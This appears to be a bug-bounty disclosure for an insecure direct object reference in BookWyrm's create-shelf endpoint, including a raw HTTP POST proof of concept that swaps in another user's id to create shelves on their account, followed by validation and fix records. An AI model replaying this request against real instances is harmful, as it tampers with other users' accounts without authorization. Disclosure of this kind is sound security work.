Insecure direct object references in `create-shelf` function in bookwyrm-social/bookwyrm

Valid

Reported on

Jul 14th 2022


Description

Insecure direct object references in create-shelf function allows one user to create a shelf on behalf of another.

Proof of Concept

POST /create-shelf HTTP/2
Host: book.dansmonorage.blue
Cookie: csrftoken=ZpIuGbCcxOyhta5bki4N46N7vknEAcpaG3881kcMAfWKBEYKEiLEeSc3Sr4lUTVa; django_language=en-us; sessionid=eehh5ghe5q98xephiv46onn3jixdgx7p
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://book.dansmonorage.blue/user/nhienit2010/books
Content-Type: application/x-www-form-urlencoded
Content-Length: 156
Origin: https://book.dansmonorage.blue
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

csrfmiddlewaretoken=aCHsAiZx3GMVTl4XkpU7hpChuv6mePSLRg76Vrz767ao1PXwEpBYrb1dRCN3ywoL&user=<others id>&name=from-other-user&description=133123123123&privacy=public

PoC Image

image

Impact

This vulnerability is capable of allows a user to create new shelves on other users' accounts, affecting the logic of the application.

We are processing your report and will contact the bookwyrm-social/bookwyrm team within 24 hours. 20 days ago
Mouse Reeve validated this vulnerability 20 days ago
Nhien.IT has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Mouse Reeve confirmed that a fix has been merged on 44b86b 20 days ago
The fix bounty has been dropped
to join this conversation